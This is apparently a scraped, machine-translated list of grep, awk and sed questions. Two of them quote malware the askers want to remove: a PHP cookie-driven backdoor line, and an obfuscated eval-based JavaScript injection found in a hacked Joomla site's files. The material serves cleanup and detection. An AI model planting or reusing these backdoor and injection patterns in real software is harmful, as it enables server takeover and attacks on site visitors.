Articles of grep

使用GREP在文件中查找文本

我试图使用grep来查找特定的PHP代码行,我知道肯定是存在于几个文件中,但我所得到的是一个空的结果。 请告诉我如何修改我的grep查询: sudo grep -ilr 'if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);' /path/to/dir/

AWK – 是否可以search模式,然后根据通配符对结果进行sorting?

我正在将一些单独序列化的PHP数组存储到一个文件中。 文件的每一行都包含一个序列化数组。 例如: a:2:{s:4:"name";s:8:"John Doe";s:3:"age";s:2:"20";} a:2:{s:4:"name";s:8:"Jane Doe";s:3:"age";s:2:"15";} a:2:{s:4:"name";s:12:"Steven Tyler";s:3:"age";s:2:"35";} a:2:{s:4:"name";s:12:"Jim Morrison";s:3:"age";s:2:"25";} a:2:{s:4:"name";s:13:"Apple Paltrow";s:3:"age";s:2:"75";} a:2:{s:4:"name";s:12:"Drew Nickels";s:3:"age";s:2:"34";} a:2:{s:4:"name";s:11:"Jason Proop";s:3:"age";s:2:"36";} 这是我的问题: 是否有可能“awk”该文件的以下模式: "name"*"*" 我想sorting基于第二个通配符的内容find的行。 awk可以做到这一点吗?

我怎么能grep从input相同的input两个值?

CentOS 5.x 我正在尝试构build一个shell脚本来search通过stdin提供的数据。 这是一个inputstream的例子: Date: 1/1/11 Time: 12:00 AM Foo: 12345 Foo1: dskjflsdkjflksdjlfds Foo2: 123456789 Foo3: kdsjflskdjflkjsdlkfjsdlkjflksdjflkjsdklfjlksdjflk 这个信息不存在于一个文件中,它只能作为另一个应用程序的stdout实时发送到脚本。 我想要看看这些数据,并parsing出Foo:和Foo2的值:将它们存储为variables,以便以后在脚本中使用。 我修改的脚本尝试是这样的: #!/bin/bash while read data; do SearchCriteria1=$(echo "$data" | grep "Foo: " | cut -c 5-) SearchCriteria2=$(echo "$data" | grep "Foo2: " | cut -c 6-) echo $SearchCriteria1 >> test.1 echo $SearchCriteria2 >> test.2 done 完成的脚本实际上不会使用test.1或test […]

GREP查找并使用SEDreplace所有文件中的string

我们之前托pipe的一个Joomla网站遭受了JavaScript注入,我正在进行清理。 以下代码被插入到每个.php或.js文件中: <? #0c0896# echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>"; #/0c0896# ?> “确切的语法,虽然实际的代码是更长的,我削减了很多hex,使之更容易” 我正在尝试使用GREP和SED来查找和replace所有文件,而且我不认为我的SED语法是正确的。 grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g 我在这里要做的是使用grep来search所有文件,find正在工作的代码片段,然后使用SEDreplace#0c0896#和其间的所有内容。

Bash / grep:忽略N个字符的行

我有一个find / grep命令,用于search我的项目的代码库,因此: find folder1 folder2 folderetc -print | awk '{print "\""$0"\""}' | xargs grep -n "search-string" 经常刺激我的东西是缩小的JavaScript和CSS文件,其中的一切都包装成一个单一的行(由于可能被误导的认为,删除换行符会使下载JavaScript文件显着更快)。 有了这些压缩或缩小的文件,总是有一个非压缩版本,我想在我的结果中看到。 我从来不想看到压缩版本,因为它只会导致无法读取的垃圾的屏幕和屏幕。 没有系统的方法,我可以告诉grep避免缩小或打包文件,因为没有命名约定。 但是我想到,我可以过滤出长度超过400个字符的结果。 有没有办法,我可以用grep(或其他?)做到这一点

尾巴,grep和计数在一个命令中find的实例?

我正在拖尾文件输出和grepping行与某些数据。 我不想将数据输出到屏幕上,而是计算它find的实例的数量并将其发送到屏幕。 实例的数量可以滚动和递增,也可以覆盖现有的,只显示它,因为它增加更高。 这部分并不重要,我只需要find一个运行的实例。 我现在的命令是 tail -f logfile | grep'我想要的数据' 我曾尝试使用grep -c和wc -l,但没有任何结果给我。 这个特定的Linux发行版没有PV,也无法获得它。 有什么办法可以做到这一点?

从多个文件中search多个string

如何用一个命令从多个文件中search多个string。 可能是使用grep或find,或者在Linux或Solaris中是否有其他的

从它们出现的顺序获取grep的结果?

我试图grep日志文件只显示符合某个会话ID的行。 到目前为止,它很好。 但是,当我得到我的grep命令的结果,我没有得到他们出现的顺序的条目。 如果目录中的日志文件有这样的数据: SESSNUM=4437 login.jsp SESSNUM=4437 welcome.jsp SESSNUM=4437 info.jsp SESSNUM=4437 logout.jsp 我input这个: grep SESSNUM=4437 * 我得到这个信息: SESSNUM=4437 logout.jsp SESSNUM=4437 welcome.jsp SESSNUM=4437 login.jsp SESSNUM=4437 info.jsp 有没有办法使grep显示匹配行的顺序出现在日志文件中? 谢谢! IVR复仇者

如何在整个文件系统中find可能存在于某个未知文件中的文本string

我遇到了一个问题,我有一个“东西”在一些文件中的行。 这个文件是我忘记的这一行。 在整个根文件系统中,我想知道哪一个文件和这一行在哪里。 那么我怎么去这个。我用过find,但是当我用find的时候,我知道文件的名字在这种情况下我也不知道文件的名字。 这是一个Ubuntu服务器10.04那么我能做些什么来找出哪个文件有这个string。

grep -r模式./没有recursion?

我想要运行grep -r pattern ./但是没有recursion地通过子目录。 当我删除-r标志时,我的terminal没有得到任何输出。 我应该使用什么标志grep模式在我目前的目录中的文件只?